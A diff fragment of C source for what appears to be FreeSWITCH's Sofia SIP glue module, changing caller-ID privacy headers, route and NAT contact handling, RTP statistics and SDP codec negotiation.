+		if ((val = switch_channel_get_variable(channel, "sip_cid_type"))) {
+			cid_type = sofia_cid_name2type(val);
+		}
+		switch (cid_type) {
+		case CID_TYPE_PID:
+			if (switch_test_flag(caller_profile, SWITCH_CPF_SCREEN)) {
+				tech_pvt->asserted_id = switch_core_session_sprintf(tech_pvt->session, "\"%s\"<sip:%s@%s>",
+																	tech_pvt->caller_profile->caller_id_name,
+																	tech_pvt->caller_profile->caller_id_number, 
+																	rpid_domain);
+			} else {
+				tech_pvt->preferred_id = switch_core_session_sprintf(tech_pvt->session, "\"%s\"<sip:%s@%s>",
+																	 tech_pvt->caller_profile->caller_id_name,
+																	 tech_pvt->caller_profile->caller_id_number, 
+																	 rpid_domain);
+			}
+			
 			if (switch_test_flag(caller_profile, SWITCH_CPF_HIDE_NUMBER)) {
-				priv = "full";
+				tech_pvt->privacy = "id";
+			} else {
+				tech_pvt->privacy = "none";
 			}
-		} else if (switch_test_flag(caller_profile, SWITCH_CPF_HIDE_NUMBER)) {
-			priv = "full";
-		}
 
-		if (switch_test_flag(caller_profile, SWITCH_CPF_SCREEN)) {
-			screen = "yes";
+			break;
+		case CID_TYPE_RPID:
+			{
+				if (switch_test_flag(caller_profile, SWITCH_CPF_HIDE_NAME)) {
+					priv = "name";
+					if (switch_test_flag(caller_profile, SWITCH_CPF_HIDE_NUMBER)) {
+						priv = "full";
+					}
+				} else if (switch_test_flag(caller_profile, SWITCH_CPF_HIDE_NUMBER)) {
+					priv = "full";
+				}
+				
+				if (switch_test_flag(caller_profile, SWITCH_CPF_SCREEN)) {
+					screen = "yes";
+				}
+				
+				tech_pvt->rpid = switch_core_session_sprintf(tech_pvt->session, "\"%s\"<sip:%s@%s>;party=calling;screen=%s;privacy=%s",
+															 tech_pvt->caller_profile->caller_id_name,
+															 tech_pvt->caller_profile->caller_id_number, rpid_domain, screen, priv);
+			}
+			break;
+		default:
+			break;
 		}
 
-		tech_pvt->rpid = switch_core_session_sprintf(tech_pvt->session, "Remote-Party-ID: \"%s\"<sip:%s@%s>;screen=%s;privacy=%s",
-													 tech_pvt->caller_profile->caller_id_name,
-													 tech_pvt->caller_profile->caller_id_number, rpid_domain, screen, priv);
 
 		switch_safe_free(d_url);
 
@@ -1343,7 +1633,7 @@
 		free(e_dest);
 	}
 
-	holdstr = switch_test_flag(tech_pvt, TFLAG_SIP_HOLD) ? "*" : "";
+	holdstr = sofia_test_flag(tech_pvt, TFLAG_SIP_HOLD) ? "*" : "";
 
 	if (!switch_channel_get_variable(channel, "sofia_profile_name")) {
 		switch_channel_set_variable(channel, "sofia_profile_name", tech_pvt->profile->name);
@@ -1382,46 +1672,42 @@
 		sofia_glue_tech_patch_sdp(tech_pvt);
 	}
 
-	if (tech_pvt->dest && (route = strstr(tech_pvt->dest, ";fs_path="))) {
-		char *p;
+	if (!switch_strlen_zero(tech_pvt->dest)) {
+		dst = sofia_glue_get_destination(tech_pvt->dest);
 
-		route = switch_core_session_strdup(tech_pvt->session, route + 9);
-		switch_assert(route);
-
-		for (p = route; p && *p ; p++) {
-			if (*p == '>' || *p == ';') {
-				*p = '\0';
-				break;
-			}
+		if (dst->route_uri) {
+			route_uri = sofia_overcome_sip_uri_weakness(tech_pvt->session, dst->route_uri, tech_pvt->transport, SWITCH_TRUE, NULL);
 		}
-		switch_url_decode(route);
-		route_uri = switch_core_session_strdup(tech_pvt->session, route);
-		if ((p = strchr(route_uri, ','))) {
-			while (*(p-1) == ' ') {
-				p--;
-			}
-			if (*p) {
-				*p = '\0';
-			}
+	
+		if (dst->route) {
+			route = dst->route;
 		}
-		
-		route_uri = sofia_overcome_sip_uri_weakness(tech_pvt->session, route_uri, 0, SWITCH_TRUE, NULL);
 	}
 
-
+	if ((val = switch_channel_get_variable(channel, "sip_route_uri"))) {
+		route_uri = switch_core_session_strdup(session, val);
+		route = NULL;
+	}
+	
 	if (route_uri) {
 		switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "%s Setting proxy route to %s\n", route_uri, switch_channel_get_name(channel));
+		tech_pvt->route_uri = switch_core_session_strdup(tech_pvt->session, route_uri);
 	}
 
 	nua_invite(tech_pvt->nh,
 			   NUTAG_AUTOANSWER(0),
 			   NUTAG_SESSION_TIMER(session_timeout),
-			   TAG_IF(!switch_strlen_zero(tech_pvt->rpid), SIPTAG_HEADER_STR(tech_pvt->rpid)),
+			   TAG_IF(tech_pvt->redirected, NUTAG_URL(tech_pvt->redirected)),
+			   TAG_IF(!switch_strlen_zero(tech_pvt->user_via), SIPTAG_VIA_STR(tech_pvt->user_via)),
+			   TAG_IF(!switch_strlen_zero(tech_pvt->rpid), SIPTAG_REMOTE_PARTY_ID_STR(tech_pvt->rpid)),
+			   TAG_IF(!switch_strlen_zero(tech_pvt->preferred_id), SIPTAG_P_PREFERRED_IDENTITY_STR(tech_pvt->preferred_id)),
+			   TAG_IF(!switch_strlen_zero(tech_pvt->asserted_id), SIPTAG_P_ASSERTED_IDENTITY_STR(tech_pvt->asserted_id)),
+			   TAG_IF(!switch_strlen_zero(tech_pvt->privacy), SIPTAG_PRIVACY_STR(tech_pvt->privacy)),
 			   TAG_IF(!switch_strlen_zero(alert_info), SIPTAG_HEADER_STR(alert_info)),
 			   TAG_IF(!switch_strlen_zero(extra_headers), SIPTAG_HEADER_STR(extra_headers)),
 			   TAG_IF(!switch_strlen_zero(max_forwards), SIPTAG_MAX_FORWARDS_STR(max_forwards)),
-			   TAG_IF(route_uri, NUTAG_PROXY(route_uri)),
-			   TAG_IF(route, SIPTAG_ROUTE_STR(route)),
+			   TAG_IF(!switch_strlen_zero(route_uri), NUTAG_PROXY(route_uri)),
+			   TAG_IF(!switch_strlen_zero(route), SIPTAG_ROUTE_STR(route)),
 			   SOATAG_ADDRESS(tech_pvt->adv_sdp_audio_ip),
 			   SOATAG_USER_SDP_STR(tech_pvt->local_sdp_str),
 			   SOATAG_REUSE_REJECTED(1),
@@ -1430,6 +1716,8 @@
 			   SOATAG_RTP_SELECT(SOA_RTP_SELECT_ALL), TAG_IF(rep, SIPTAG_REPLACES_STR(rep)), SOATAG_HOLD(holdstr), TAG_END());
 
 	switch_safe_free(stream.data);
+	sofia_glue_free_destination(dst);
+	tech_pvt->redirected = NULL;
 
 	return SWITCH_STATUS_SUCCESS;
 }
@@ -1439,14 +1727,22 @@
 	private_object_t *tech_pvt = switch_core_session_get_private(session);
 	switch_channel_t *channel = switch_core_session_get_channel(session);
 	switch_caller_profile_t *caller_profile;
-	const char *sipip, *format; 
+	const char *sipip, *format, *contact_url; 
 
 	switch_assert(tech_pvt != NULL);
 	switch_mutex_lock(tech_pvt->sofia_mutex);
 	caller_profile = switch_channel_get_caller_profile(channel);
 
-	sipip = tech_pvt->profile->extsipip ? tech_pvt->profile->extsipip : tech_pvt->profile->sipip;
+	if (sofia_glue_check_nat(tech_pvt->profile, tech_pvt->remote_ip)) { 
+		sipip = tech_pvt->profile->extsipip;
+		contact_url = tech_pvt->profile->public_url;
+	} else {
+		sipip = tech_pvt->profile->extsipip ? tech_pvt->profile->extsipip : tech_pvt->profile->sipip;
+		contact_url = tech_pvt->profile->url;
+	}
+
 	format = strchr(sipip, ':') ? "\"%s\" <sip:%s@[%s]>" : "\"%s\" <sip:%s@%s>";
+
 	if ((tech_pvt->from_str = switch_core_session_sprintf(session, format,
 															caller_profile->caller_id_name,
 															caller_profile->caller_id_number, sipip))) {
@@ -1455,12 +1751,15 @@
 
 		tech_pvt->nh2 = nua_handle(tech_pvt->profile->nua, NULL,
 								   SIPTAG_TO_STR(tech_pvt->dest),
-								   SIPTAG_FROM_STR(tech_pvt->from_str), SIPTAG_CONTACT_STR(tech_pvt->profile->url), TAG_END());
+								   SIPTAG_FROM_STR(tech_pvt->from_str),
+								   SIPTAG_CONTACT_STR(contact_url),
+								   TAG_END());
 
 		nua_handle_bind(tech_pvt->nh2, tech_pvt->sofia_private);
 
 		nua_invite(tech_pvt->nh2,
-				   SIPTAG_CONTACT_STR(tech_pvt->profile->url),
+				   SIPTAG_CONTACT_STR(contact_url),
+				   TAG_IF(!switch_strlen_zero(tech_pvt->user_via), SIPTAG_VIA_STR(tech_pvt->user_via)),
 				   SOATAG_ADDRESS(tech_pvt->adv_sdp_audio_ip),
 				   SOATAG_USER_SDP_STR(tech_pvt->local_sdp_str),
 				   SOATAG_REUSE_REJECTED(1),
@@ -1505,15 +1804,60 @@
 			}
 			sdp_parser_free(parser);
 		}
-		tech_pvt->local_sdp_str = switch_core_session_strdup(tech_pvt->session, sdp_str);
+		sofia_glue_tech_set_local_sdp(tech_pvt, sdp_str, SWITCH_TRUE);
 	}
 }
 
+
+#define add_stat(_i, _s) \
+	switch_snprintf(var_name, sizeof(var_name), "rtp_%s_%s", switch_str_nil(prefix), _s) ; \
+	switch_snprintf(var_val, sizeof(var_val), "%" SWITCH_SIZE_T_FMT, _i); \
+	switch_channel_set_variable(tech_pvt->channel, var_name, var_val)
+
+static void set_stats(switch_rtp_t *rtp_session, private_object_t *tech_pvt, const char *prefix)
+{
+	switch_rtp_stats_t *stats = switch_rtp_get_stats(rtp_session, NULL);
+	char var_name[256] = "", var_val[35] = "";
+
+	if (stats) {
+
+		add_stat(stats->inbound.raw_bytes, "in_raw_bytes");
+		add_stat(stats->inbound.media_bytes, "in_media_bytes");
+		add_stat(stats->inbound.packet_count, "in_packet_count");
+		add_stat(stats->inbound.media_packet_count, "in_media_packet_count");
+		add_stat(stats->inbound.skip_packet_count, "in_skip_packet_count");
+		add_stat(stats->inbound.jb_packet_count, "in_jb_packet_count");
+		add_stat(stats->inbound.dtmf_packet_count, "in_dtmf_packet_count");
+		add_stat(stats->inbound.cng_packet_count, "in_cng_packet_count");
+		add_stat(stats->inbound.cng_packet_count, "in_flush_packet_count");
+
+		add_stat(stats->outbound.raw_bytes, "out_raw_bytes");
+		add_stat(stats->outbound.media_bytes, "out_media_bytes");
+		add_stat(stats->outbound.packet_count, "out_packet_count");
+		add_stat(stats->outbound.media_packet_count, "out_media_packet_count");
+		add_stat(stats->outbound.skip_packet_count, "out_skip_packet_count");
+		add_stat(stats->outbound.dtmf_packet_count, "out_dtmf_packet_count");
+		add_stat(stats->outbound.cng_packet_count, "out_cng_packet_count");
+		
+	}
+}
+
+void sofia_glue_set_rtp_stats(private_object_t *tech_pvt)
+{
+	if (tech_pvt->rtp_session) {
+        set_stats(tech_pvt->rtp_session, tech_pvt, "audio");
+	}
+
+	if (tech_pvt->video_rtp_session) {
+        set_stats(tech_pvt->video_rtp_session, tech_pvt, "video");
+	}
+}
+
 void sofia_glue_deactivate_rtp(private_object_t *tech_pvt)
 {
 	int loops = 0;
 	if (switch_rtp_ready(tech_pvt->rtp_session)) {
-		while (loops < 10 && (switch_test_flag(tech_pvt, TFLAG_READING) || switch_test_flag(tech_pvt, TFLAG_WRITING))) {
+		while (loops < 10 && (sofia_test_flag(tech_pvt, TFLAG_READING) || sofia_test_flag(tech_pvt, TFLAG_WRITING))) {
 			switch_yield(10000);
 			loops++;
 		}
@@ -1525,18 +1869,26 @@
 		switch_rtp_release_port(tech_pvt->profile->rtpip, tech_pvt->local_sdp_audio_port);
 	}
 
+	if (tech_pvt->local_sdp_audio_port > 0 && sofia_glue_check_nat(tech_pvt->profile, tech_pvt->remote_ip)) { 
+		switch_nat_del_mapping((switch_port_t)tech_pvt->local_sdp_audio_port, SWITCH_NAT_UDP);
+	}
+	
 	if (tech_pvt->video_rtp_session) {
 		switch_rtp_destroy(&tech_pvt->video_rtp_session);
 	} else if (tech_pvt->local_sdp_video_port) {
 		switch_rtp_release_port(tech_pvt->profile->rtpip, tech_pvt->local_sdp_video_port);
 	}
 
+		
+	if (tech_pvt->local_sdp_video_port > 0 && sofia_glue_check_nat(tech_pvt->profile, tech_pvt->remote_ip)) { 
+		switch_nat_del_mapping((switch_port_t)tech_pvt->local_sdp_video_port, SWITCH_NAT_UDP);
+	}
 }
 
 switch_status_t sofia_glue_tech_set_video_codec(private_object_t *tech_pvt, int force)
 {
 
-	if (tech_pvt->video_read_codec.implementation) {
+	if (tech_pvt->video_read_codec.implementation && switch_core_codec_ready(&tech_pvt->video_read_codec)) {
 		if (!force) {
 			return SWITCH_STATUS_SUCCESS;
 		}
@@ -1609,7 +1961,7 @@
 		switch_goto_status(SWITCH_STATUS_FALSE, end);
 	}
 
-	if (tech_pvt->read_codec.implementation) {
+	if (tech_pvt->read_codec.implementation && switch_core_codec_ready(&tech_pvt->read_codec)) {
 		if (!force) {
 			switch_goto_status(SWITCH_STATUS_SUCCESS, end);
 		}
@@ -1669,7 +2021,7 @@
 	tech_pvt->read_frame.rate = tech_pvt->rm_rate;
 	ms = tech_pvt->write_codec.implementation->microseconds_per_packet / 1000;
 
-	if (!tech_pvt->read_codec.implementation) {
+	if (!switch_core_codec_ready(&tech_pvt->read_codec)) {
 		switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "Can't load codec?\n");
 		switch_goto_status(SWITCH_STATUS_FALSE, end);
 	}
@@ -1818,6 +2170,11 @@
 	const char *var;
 
 	switch_assert(tech_pvt != NULL);
+
+	if (switch_channel_down(tech_pvt->channel) || sofia_test_flag(tech_pvt, TFLAG_BYE)) {
+		return SWITCH_STATUS_FALSE;
+	}
+
 	switch_mutex_lock(tech_pvt->sofia_mutex);
 
 	if (switch_rtp_ready(tech_pvt->rtp_session)) {
@@ -1825,16 +2182,15 @@
 	}
 
 	if ((var = switch_channel_get_variable(tech_pvt->channel, SOFIA_SECURE_MEDIA_VARIABLE)) && switch_true(var)) {
-		switch_set_flag_locked(tech_pvt, TFLAG_SECURE);
+		sofia_set_flag_locked(tech_pvt, TFLAG_SECURE);
 	}
 
-
 	if (switch_channel_test_flag(tech_pvt->channel, CF_PROXY_MODE)) {
 		status = SWITCH_STATUS_SUCCESS;
 		goto end;
 	}
 
-	if (switch_rtp_ready(tech_pvt->rtp_session) && !switch_test_flag(tech_pvt, TFLAG_REINVITE)) {
+	if (switch_rtp_ready(tech_pvt->rtp_session) && !sofia_test_flag(tech_pvt, TFLAG_REINVITE)) {
 		status = SWITCH_STATUS_SUCCESS;
 		goto end;
 	}
@@ -1865,23 +2221,29 @@
 		}
 	}
 
-	if ((tech_pvt->profile->pflags & PFLAG_PASS_RFC2833)
+	if (sofia_test_pflag(tech_pvt->profile, PFLAG_PASS_RFC2833)
 		|| ((val = switch_channel_get_variable(tech_pvt->channel, "pass_rfc2833")) && switch_true(val))) {
-		flags |= SWITCH_RTP_FLAG_PASS_RFC2833;
+		sofia_set_flag(tech_pvt, TFLAG_PASS_RFC2833);
 	}
 
-	if (!((tech_pvt->profile->pflags & PFLAG_REWRITE_TIMESTAMPS) ||
+
+	if (sofia_test_pflag(tech_pvt->profile, PFLAG_AUTOFLUSH)
+		|| ((val = switch_channel_get_variable(tech_pvt->channel, "rtp_autoflush")) && switch_true(val))) {
+		flags |= SWITCH_RTP_FLAG_AUTOFLUSH;
+	}
+
+	if (!(sofia_test_pflag(tech_pvt->profile, PFLAG_REWRITE_TIMESTAMPS) ||
 		  ((val = switch_channel_get_variable(tech_pvt->channel, "rtp_rewrite_timestamps")) && !switch_true(val)))) {
 		flags |= SWITCH_RTP_FLAG_RAW_WRITE;
 	}
 
-	if (tech_pvt->profile->pflags & PFLAG_SUPPRESS_CNG) {
+	if (sofia_test_pflag(tech_pvt->profile, PFLAG_SUPPRESS_CNG)) {
 		tech_pvt->cng_pt = 0;
 	} else if (tech_pvt->cng_pt) {
 		flags |= SWITCH_RTP_FLAG_AUTO_CNG;
 	}
 
-	if (tech_pvt->rtp_session && switch_test_flag(tech_pvt, TFLAG_REINVITE)) {
+	if (tech_pvt->rtp_session && sofia_test_flag(tech_pvt, TFLAG_REINVITE)) {
 		//const char *ip = switch_channel_get_variable(tech_pvt->channel, SWITCH_LOCAL_MEDIA_IP_VARIABLE);
 		//const char *port = switch_channel_get_variable(tech_pvt->channel, SWITCH_LOCAL_MEDIA_PORT_VARIABLE);
 		char *remote_host = switch_rtp_get_remote_host(tech_pvt->rtp_session);
@@ -1910,8 +2272,8 @@
 	switch_channel_set_variable(tech_pvt->channel, SWITCH_LOCAL_MEDIA_IP_VARIABLE, tech_pvt->adv_sdp_audio_ip);
 	switch_channel_set_variable(tech_pvt->channel, SWITCH_LOCAL_MEDIA_PORT_VARIABLE, tmp);
 
-	if (tech_pvt->rtp_session && switch_test_flag(tech_pvt, TFLAG_REINVITE)) {
-		switch_clear_flag_locked(tech_pvt, TFLAG_REINVITE);
+	if (tech_pvt->rtp_session && sofia_test_flag(tech_pvt, TFLAG_REINVITE)) {
+		sofia_clear_flag_locked(tech_pvt, TFLAG_REINVITE);
 		
 		if (switch_rtp_set_remote_address(tech_pvt->rtp_session, tech_pvt->remote_sdp_audio_ip, tech_pvt->remote_sdp_audio_port, SWITCH_TRUE, &err) !=
 			SWITCH_STATUS_SUCCESS) {
@@ -1932,6 +2294,7 @@
 		if ((status = sofia_glue_tech_proxy_remote_addr(tech_pvt)) != SWITCH_STATUS_SUCCESS) {
 			goto end;
 		}
+
 		if (!sofia_test_pflag(tech_pvt->profile, PFLAG_DISABLE_RTP_AUTOADJ) &&
 			!((val = switch_channel_get_variable(tech_pvt->channel, "disable_rtp_auto_adjust")) && switch_true(val))) {
 			flags = (switch_rtp_flag_t) (SWITCH_RTP_FLAG_PROXY_MEDIA | SWITCH_RTP_FLAG_AUTOADJ | SWITCH_RTP_FLAG_DATAWAIT);
@@ -1940,7 +2303,8 @@
 		}
 		timer_name = NULL;
 
-		switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "PROXY AUDIO RTP [%s] %s:%d->%s:%d codec: %u ms: %d\n",
+		switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG,
+						  "PROXY AUDIO RTP [%s] %s:%d->%s:%d codec: %u ms: %d\n",
 						  switch_channel_get_name(tech_pvt->channel),
 						  tech_pvt->local_sdp_audio_ip,
 						  tech_pvt->local_sdp_audio_port,
@@ -1949,26 +2313,31 @@
 
 	} else {
 		timer_name = tech_pvt->profile->timer_name;
+
+		if ((var = switch_channel_get_variable(tech_pvt->channel, "rtp_timer_name"))) {
+			timer_name = (char *) var;
+		}
 	}
 
-	if ((var = switch_channel_get_variable(tech_pvt->channel, "rtp_timer_name"))) {
-		timer_name = (char *) var;
+	if (switch_channel_up(tech_pvt->channel) && !sofia_test_flag(tech_pvt, TFLAG_BYE)) {
+		tech_pvt->rtp_session = switch_rtp_new(tech_pvt->local_sdp_audio_ip,
+											   tech_pvt->local_sdp_audio_port,
+											   tech_pvt->remote_sdp_audio_ip,
+											   tech_pvt->remote_sdp_audio_port,
+											   tech_pvt->agreed_pt,
+											   tech_pvt->read_impl.samples_per_packet,
+											   tech_pvt->codec_ms * 1000,
+											   (switch_rtp_flag_t) flags, timer_name, &err,
+											   switch_core_session_get_pool(tech_pvt->session));
 	}
 
-	tech_pvt->rtp_session = switch_rtp_new(tech_pvt->local_sdp_audio_ip,
-										   tech_pvt->local_sdp_audio_port,
-										   tech_pvt->remote_sdp_audio_ip,
-										   tech_pvt->remote_sdp_audio_port,
-										   tech_pvt->agreed_pt,
-										   tech_pvt->read_impl.samples_per_packet,
-										   tech_pvt->codec_ms * 1000,
-										   (switch_rtp_flag_t) flags, timer_name, &err, switch_core_session_get_pool(tech_pvt->session));
-
 	if (switch_rtp_ready(tech_pvt->rtp_session)) {
-		uint8_t vad_in = switch_test_flag(tech_pvt, TFLAG_VAD_IN) ? 1 : 0;
-		uint8_t vad_out = switch_test_flag(tech_pvt, TFLAG_VAD_OUT) ? 1 : 0;
-		uint8_t inb = switch_test_flag(tech_pvt, TFLAG_OUTBOUND) ? 0 : 1;
+		uint8_t vad_in = sofia_test_flag(tech_pvt, TFLAG_VAD_IN) ? 1 : 0;
+		uint8_t vad_out = sofia_test_flag(tech_pvt, TFLAG_VAD_OUT) ? 1 : 0;
+		uint8_t inb = sofia_test_flag(tech_pvt, TFLAG_OUTBOUND) ? 0 : 1;
 		uint32_t stun_ping = 0;
+
+		switch_channel_set_flag(tech_pvt->channel, CF_FS_RTP);
 		
 		if ((val = switch_channel_get_variable(tech_pvt->channel, "rtp_enable_vad_in")) && switch_true(val)) {
 			vad_in = 1;
@@ -1997,14 +2366,14 @@
 		}
 
 		tech_pvt->ssrc = switch_rtp_get_ssrc(tech_pvt->rtp_session);
-		switch_set_flag(tech_pvt, TFLAG_RTP);
-		switch_set_flag(tech_pvt, TFLAG_IO);
+		sofia_set_flag(tech_pvt, TFLAG_RTP);
+		sofia_set_flag(tech_pvt, TFLAG_IO);
 		
 		switch_rtp_intentional_bugs(tech_pvt->rtp_session, tech_pvt->rtp_bugs);
 		
 		if ((vad_in && inb) || (vad_out && !inb)) {
 			switch_rtp_enable_vad(tech_pvt->rtp_session, tech_pvt->session, &tech_pvt->read_codec, SWITCH_VAD_FLAG_TALKING);
-			switch_set_flag(tech_pvt, TFLAG_VAD);
+			sofia_set_flag(tech_pvt, TFLAG_VAD);
 			switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "AUDIO RTP Engage VAD for %s ( %s %s )\n",
 							  switch_channel_get_name(switch_core_session_get_channel(tech_pvt->session)), vad_in ? "in" : "", vad_out ? "out" : "");
 		}
@@ -2069,12 +2438,12 @@
 			tech_pvt->cng_pt = 0;
 		}
 
-		if (tech_pvt->cng_pt && !(tech_pvt->profile->pflags & PFLAG_SUPPRESS_CNG)) {
+		if (tech_pvt->cng_pt && !sofia_test_pflag(tech_pvt->profile, PFLAG_SUPPRESS_CNG)) {
 			switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "Set comfort noise payload to %u\n", tech_pvt->cng_pt);
 			switch_rtp_set_cng_pt(tech_pvt->rtp_session, tech_pvt->cng_pt);
 		}
 
-		if (tech_pvt->remote_crypto_key && switch_test_flag(tech_pvt, TFLAG_SECURE)) {
+		if (tech_pvt->remote_crypto_key && sofia_test_flag(tech_pvt, TFLAG_SECURE)) {
 			sofia_glue_add_crypto(tech_pvt, tech_pvt->remote_crypto_key, SWITCH_RTP_CRYPTO_RECV);
 			switch_rtp_add_crypto_key(tech_pvt->rtp_session, SWITCH_RTP_CRYPTO_SEND, 1, tech_pvt->crypto_type, tech_pvt->local_raw_key,
 									  SWITCH_RTP_KEY_LEN);
@@ -2087,7 +2456,7 @@
 
 		sofia_glue_check_video_codecs(tech_pvt);
 
-		if (switch_test_flag(tech_pvt, TFLAG_VIDEO) && tech_pvt->video_rm_encoding && tech_pvt->remote_sdp_video_port) {
+		if (sofia_test_flag(tech_pvt, TFLAG_VIDEO) && tech_pvt->video_rm_encoding && tech_pvt->remote_sdp_video_port) {
 			if (!tech_pvt->local_sdp_video_port) {
 				sofia_glue_tech_choose_video_port(tech_pvt, 1);
 			}
@@ -2133,12 +2502,12 @@
 	} else {
 		switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "AUDIO RTP REPORTS ERROR: [%s]\n", switch_str_nil(err));
 		switch_channel_hangup(tech_pvt->channel, SWITCH_CAUSE_DESTINATION_OUT_OF_ORDER);
-		switch_clear_flag_locked(tech_pvt, TFLAG_IO);
+		sofia_clear_flag_locked(tech_pvt, TFLAG_IO);
 		status = SWITCH_STATUS_FALSE;
 		goto end;
 	}
 
-	switch_set_flag(tech_pvt, TFLAG_IO);
+	sofia_set_flag(tech_pvt, TFLAG_IO);
 	status = SWITCH_STATUS_SUCCESS;
 
   end:
@@ -2149,6 +2518,150 @@
 
 }
 
+void sofia_glue_set_r_sdp_codec_string(switch_channel_t *channel,const char *codec_string, sdp_session_t *sdp)
+{
+	char buf[1024] = {0};
+	sdp_media_t *m;
+	sdp_attribute_t *attr;
+	int ptime = 0, dptime = 0;
+	sdp_connection_t *connection;
+	sdp_rtpmap_t *map;
+	short int match = 0;
+	int i;
+	int already_did[128] = { 0 };
+	int num_codecs = 0;
+	char *codec_order[SWITCH_MAX_CODECS];
+	const switch_codec_implementation_t *codecs[SWITCH_MAX_CODECS] = { 0 };
+
+	if (!switch_strlen_zero(codec_string)) {
+		char *tmp_codec_string;
+		if ((tmp_codec_string = strdup(codec_string))) {
+			num_codecs = switch_separate_string(tmp_codec_string, ',', codec_order, SWITCH_MAX_CODECS);
+			num_codecs = switch_loadable_module_get_codecs_sorted(codecs, SWITCH_MAX_CODECS, codec_order, num_codecs);
+			switch_safe_free(tmp_codec_string);
+		}
+	} else {
+		num_codecs = switch_loadable_module_get_codecs(codecs, SWITCH_MAX_CODECS);
+	}
+
+	if (!channel || !num_codecs) {
+		return;
+	}
+
+	for (attr = sdp->sdp_attributes; attr; attr = attr->a_next) {
+		if (switch_strlen_zero(attr->a_name)) {
+			continue;
+		}
+
+		if (!strcasecmp(attr->a_name, "ptime")) {
+			dptime = atoi(attr->a_value);
+			break;
+		}
+	}
+
+	for (m = sdp->sdp_media; m; m = m->m_next) {
+		ptime = dptime;
+		if ( m->m_type == sdp_media_image && m->m_port) {
+			switch_snprintf(buf + strlen(buf), sizeof(buf) - strlen(buf), ",t38");
+		} else if (m->m_type == sdp_media_audio && m->m_port) {
+			for (attr = m->m_attributes; attr; attr = attr->a_next) {
+				if (switch_strlen_zero(attr->a_name)) {
+					continue;
+				}
+				if (!strcasecmp(attr->a_name, "ptime") && attr->a_value) {
+					ptime = atoi(attr->a_value);
+					break;
+				}
+			}
+			connection = sdp->sdp_connection;
+			if (m->m_connections) {
+				connection = m->m_connections;
+			}
+
+			if (!connection) {
+				switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "Cannot find a c= line in the sdp at media or session level!\n");
+				break;
+			}
+
+			for (i = 0; i < num_codecs; i++) {
+				const switch_codec_implementation_t *imp = codecs[i];
+				if (imp->codec_type != SWITCH_CODEC_TYPE_AUDIO || imp->ianacode > 127 || already_did[imp->ianacode]) {
+					continue;
+				}
+				for (map = m->m_rtpmaps; map; map = map->rm_next) {
+					if ( map->rm_pt > 127 ||  already_did[map->rm_pt]) {
+						continue;
+					}
+
+					if (map->rm_pt < 96) {
+						match = (map->rm_pt == imp->ianacode) ? 1 : 0;
+					} else {
+						if (map->rm_encoding) {
+							match = strcasecmp(map->rm_encoding, imp->iananame) ? 0 : 1;
+						} else {
+							match = 0;
+						}
+					}
+
+					if (match) {
+						if (ptime > 0) {
+							switch_snprintf(buf + strlen(buf), sizeof(buf) - strlen(buf), ",%s@%uh@%di", imp->iananame, (unsigned int) map->rm_rate, ptime);
+						} else {
+							switch_snprintf(buf + strlen(buf), sizeof(buf) - strlen(buf), ",%s@%uh", imp->iananame, (unsigned int) map->rm_rate);
+						}
+						already_did[imp->ianacode] = 1;
+						break;
+					}
+				}
+			}
+		} else if (m->m_type == sdp_media_video && m->m_port) {
+			connection = sdp->sdp_connection;
+			if (m->m_connections) {
+				connection = m->m_connections;
+			}
+
+			if (!connection) {
+				switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "Cannot find a c= line in the sdp at media or session level!\n");
+				break;
+			}
+			for (i = 0; i < num_codecs; i++) {
+				const switch_codec_implementation_t *imp = codecs[i];
+				if (imp->codec_type != SWITCH_CODEC_TYPE_VIDEO || imp->ianacode > 127 || already_did[imp->ianacode]) {
+					continue;
+				}
+				for (map = m->m_rtpmaps; map; map = map->rm_next) {
+					if ( map->rm_pt > 127 || already_did[map->rm_pt]) {
+						continue;
+					}
+
+					if (map->rm_pt < 96) {
+						match = (map->rm_pt == imp->ianacode) ? 1 : 0;
+					} else {
+						if(map->rm_encoding) {
+							match = strcasecmp(map->rm_encoding, imp->iananame) ? 0 : 1;
+						} else {
+							match = 0;
+						}
+					}
+
+					if (match) {
+						if(ptime > 0) {
+							switch_snprintf(buf + strlen(buf), sizeof(buf) - strlen(buf), ",%s@%uh@%di", imp->iananame, (unsigned int) map->rm_rate, ptime);
+						} else {
+							switch_snprintf(buf + strlen(buf), sizeof(buf) - strlen(buf), ",%s@%uh", imp->iananame, (unsigned int) map->rm_rate);
+						}
+						already_did[imp->ianacode] = 1;
+						break;
+					}
+				}
+			}
+		}
+	}
+	if (buf[0] == ',') {
+		switch_channel_set_variable(channel, "ep_codec_string", buf + 1);
+	}
+}
+
 switch_status_t sofia_glue_tech_media(private_object_t *tech_pvt, const char *r_sdp)
 {
 	sdp_parser_t *parser = NULL;
@@ -2158,19 +2671,18 @@
 	switch_assert(tech_pvt != NULL);
 	switch_assert(r_sdp != NULL);
 
-	parser = sdp_parse(NULL, r_sdp, (int) strlen(r_sdp), 0);
-
 	if (switch_strlen_zero(r_sdp)) {
 		return SWITCH_STATUS_FALSE;
 	}
 
-	if (tech_pvt->num_codecs) {
-		if ((sdp = sdp_session(parser))) {
-			match = sofia_glue_negotiate_sdp(tech_pvt->session, sdp);
+	if ((parser = sdp_parse(NULL, r_sdp, (int) strlen(r_sdp), 0))) {
+		
+		if (tech_pvt->num_codecs) {
+			if ((sdp = sdp_session(parser))) {
+				match = sofia_glue_negotiate_sdp(tech_pvt->session, sdp);
+			}
 		}
-	}
-
-	if (parser) {
+		
 		sdp_parser_free(parser);
 	}
 
@@ -2182,21 +2694,22 @@
 			return SWITCH_STATUS_FALSE;
 		}
 		switch_channel_set_variable(tech_pvt->channel, SWITCH_ENDPOINT_DISPOSITION_VARIABLE, "EARLY MEDIA");
-		switch_set_flag_locked(tech_pvt, TFLAG_EARLY_MEDIA);
+		sofia_set_flag_locked(tech_pvt, TFLAG_EARLY_MEDIA);
 		switch_channel_mark_pre_answered(tech_pvt->channel);
 		return SWITCH_STATUS_SUCCESS;
 	}
 
+
 	return SWITCH_STATUS_FALSE;
 }
 
